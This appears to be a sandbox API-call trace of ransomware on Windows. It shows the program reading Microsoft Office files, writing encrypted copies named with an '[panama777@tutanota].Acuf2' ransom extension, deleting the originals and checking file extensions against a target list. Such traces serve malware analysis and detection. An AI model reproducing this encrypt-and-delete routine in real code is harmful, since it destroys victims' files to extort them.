	[0274.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 0x20
	[0274.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0274.980] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.980] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0274.980] GetLastError () returned 0x0
	[0274.980] ReadFile (in: hFile=0x338, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xc588, lpOverlapped=0x0) returned 1
	[0274.999] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xc590, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xc590, lpOverlapped=0x0) returned 1
	[0275.000] ReadFile (in: hFile=0x338, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.000] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0275.000] SetEndOfFile (hFile=0x35c) returned 1
	[0275.010] CloseHandle (hObject=0x35c) returned 1
	[0275.010] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.010] SetEndOfFile (hFile=0x338) returned 1
	[0275.013] CloseHandle (hObject=0x338) returned 1
	[0275.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 1
	[0275.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60
	[0275.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60
	[0275.188] lstrlenW (lpString=".doc") returned 4
	[0275.188] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0275.188] lstrlenW (lpString=".docx") returned 5
	[0275.188] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1
	[0275.188] lstrlenW (lpString=".pdf") returned 4
	[0275.188] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0275.188] lstrlenW (lpString=".xls") returned 4
	[0275.188] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0275.188] lstrlenW (lpString=".xlsx") returned 5
	[0275.188] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1
	[0275.188] lstrlenW (lpString=".ppt") returned 4
	[0275.188] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0275.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60
	[0275.188] lstrlenW (lpString=".zip") returned 4
	[0275.189] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0275.189] lstrlenW (lpString=".rar") returned 4
	[0275.189] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0275.189] lstrlenW (lpString=".bz2") returned 4
	[0275.189] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0275.189] lstrlenW (lpString=".7z") returned 3
	[0275.189] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0275.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60
	[0275.189] lstrlenW (lpString=".dbf") returned 4
	[0275.189] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0275.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60
	[0275.189] lstrlenW (lpString=".1cd") returned 4
	[0275.189] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0275.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60
	[0275.189] lstrlenW (lpString=".jpg") returned 4
	[0275.189] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0275.190] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.190] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0275.190] GetLastError () returned 0x0
	[0275.190] ReadFile (in: hFile=0x394, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xbb6, lpOverlapped=0x0) returned 1
	[0275.205] WriteFile (in: hFile=0x360, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xbc0, lpOverlapped=0x0) returned 1
	[0275.205] ReadFile (in: hFile=0x394, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.205] WriteFile (in: hFile=0x360, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.205] SetEndOfFile (hFile=0x360) returned 1
	[0275.228] CloseHandle (hObject=0x360) returned 1
	[0275.228] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.228] SetEndOfFile (hFile=0x394) returned 1
	[0275.230] CloseHandle (hObject=0x394) returned 1
	[0275.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 1
	[0275.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66
	[0275.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66
	[0275.385] lstrlenW (lpString=".doc") returned 4
	[0275.385] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.385] lstrlenW (lpString=".docx") returned 5
	[0275.385] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1
	[0275.385] lstrlenW (lpString=".pdf") returned 4
	[0275.385] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.385] lstrlenW (lpString=".xls") returned 4
	[0275.385] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.385] lstrlenW (lpString=".xlsx") returned 5
	[0275.385] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1
	[0275.385] lstrlenW (lpString=".ppt") returned 4
	[0275.386] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66
	[0275.386] lstrlenW (lpString=".zip") returned 4
	[0275.386] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.386] lstrlenW (lpString=".rar") returned 4
	[0275.386] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.386] lstrlenW (lpString=".bz2") returned 4
	[0275.386] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.386] lstrlenW (lpString=".7z") returned 3
	[0275.386] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66
	[0275.386] lstrlenW (lpString=".dbf") returned 4
	[0275.386] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66
	[0275.386] lstrlenW (lpString=".1cd") returned 4
	[0275.386] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66
	[0275.386] lstrlenW (lpString=".jpg") returned 4
	[0275.386] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.403] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=805) returned 1
	[0275.403] CloseHandle (hObject=0x380) returned 1
	[0275.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 0x20
	[0275.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0275.410] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.410] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0275.414] GetLastError () returned 0x0
	[0275.414] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x325, lpOverlapped=0x0) returned 1
	[0275.416] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x330, lpOverlapped=0x0) returned 1
	[0275.417] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.417] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.417] SetEndOfFile (hFile=0x380) returned 1
	[0275.417] CloseHandle (hObject=0x380) returned 1
	[0275.417] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.417] SetEndOfFile (hFile=0x214) returned 1
	[0275.419] CloseHandle (hObject=0x214) returned 1
	[0275.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 1
	[0275.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66
	[0275.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66
	[0275.422] lstrlenW (lpString=".doc") returned 4
	[0275.422] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1
	[0275.422] lstrlenW (lpString=".docx") returned 5
	[0275.422] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1
	[0275.422] lstrlenW (lpString=".pdf") returned 4
	[0275.422] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1
	[0275.422] lstrlenW (lpString=".xls") returned 4
	[0275.422] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1
	[0275.422] lstrlenW (lpString=".xlsx") returned 5
	[0275.422] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1
	[0275.422] lstrlenW (lpString=".ppt") returned 4
	[0275.422] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1
	[0275.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66
	[0275.422] lstrlenW (lpString=".zip") returned 4
	[0275.422] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1
	[0275.422] lstrlenW (lpString=".rar") returned 4
	[0275.422] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1
	[0275.422] lstrlenW (lpString=".bz2") returned 4
	[0275.422] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1
	[0275.422] lstrlenW (lpString=".7z") returned 3
	[0275.422] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1
	[0275.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66
	[0275.422] lstrlenW (lpString=".dbf") returned 4
	[0275.422] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1
	[0275.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66
	[0275.423] lstrlenW (lpString=".1cd") returned 4
	[0275.423] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1
	[0275.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66
	[0275.423] lstrlenW (lpString=".jpg") returned 4
	[0275.423] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1
	[0275.423] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=765) returned 1
	[0275.423] CloseHandle (hObject=0x214) returned 1
	[0275.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 0x20
	[0275.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0275.423] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.424] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0275.424] GetLastError () returned 0x0
	[0275.424] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x2fd, lpOverlapped=0x0) returned 1
	[0275.425] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x300, lpOverlapped=0x0) returned 1
	[0275.426] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.426] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0275.426] SetEndOfFile (hFile=0x380) returned 1
	[0275.426] CloseHandle (hObject=0x380) returned 1
	[0275.426] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.426] SetEndOfFile (hFile=0x214) returned 1
	[0275.430] CloseHandle (hObject=0x214) returned 1
	[0275.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 1
	[0275.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61
	[0275.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61
	[0275.430] lstrlenW (lpString=".doc") returned 4
	[0275.430] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1
	[0275.430] lstrlenW (lpString=".docx") returned 5
	[0275.430] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1
	[0275.431] lstrlenW (lpString=".pdf") returned 4
	[0275.431] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1
	[0275.431] lstrlenW (lpString=".xls") returned 4
	[0275.431] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1
	[0275.431] lstrlenW (lpString=".xlsx") returned 5
	[0275.431] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1
	[0275.431] lstrlenW (lpString=".ppt") returned 4
	[0275.431] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1
	[0275.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61
	[0275.431] lstrlenW (lpString=".zip") returned 4
	[0275.431] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1
	[0275.431] lstrlenW (lpString=".rar") returned 4
	[0275.431] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1
	[0275.431] lstrlenW (lpString=".bz2") returned 4
	[0275.431] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1
	[0275.431] lstrlenW (lpString=".7z") returned 3
	[0275.431] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1
	[0275.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61
	[0275.431] lstrlenW (lpString=".dbf") returned 4
	[0275.431] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1
	[0275.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61
	[0275.431] lstrlenW (lpString=".1cd") returned 4
	[0275.431] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1
	[0275.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61
	[0275.431] lstrlenW (lpString=".jpg") returned 4
	[0275.431] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1
	[0275.432] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=1078) returned 1
	[0275.432] CloseHandle (hObject=0x214) returned 1
	[0275.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico")) returned 0x20
	[0275.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0275.432] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.432] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0275.432] GetLastError () returned 0x0
	[0275.432] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x436, lpOverlapped=0x0) returned 1
	[0275.434] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x440, lpOverlapped=0x0) returned 1
	[0275.435] ReadFile (in: hFile=0x214, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.435] WriteFile (in: hFile=0x380, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0275.435] SetEndOfFile (hFile=0x380) returned 1
	[0275.435] CloseHandle (hObject=0x380) returned 1
	[0275.435] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.435] SetEndOfFile (hFile=0x214) returned 1
	[0275.437] CloseHandle (hObject=0x214) returned 1
	[0275.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico")) returned 1
	[0275.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62
	[0275.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO") returned 62
	[0275.437] lstrlenW (lpString=".doc") returned 4
	[0275.437] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.438] lstrlenW (lpString=".docx") returned 5
	[0275.438] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1
	[0275.438] lstrlenW (lpString=".pdf") returned 4
	[0275.438] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
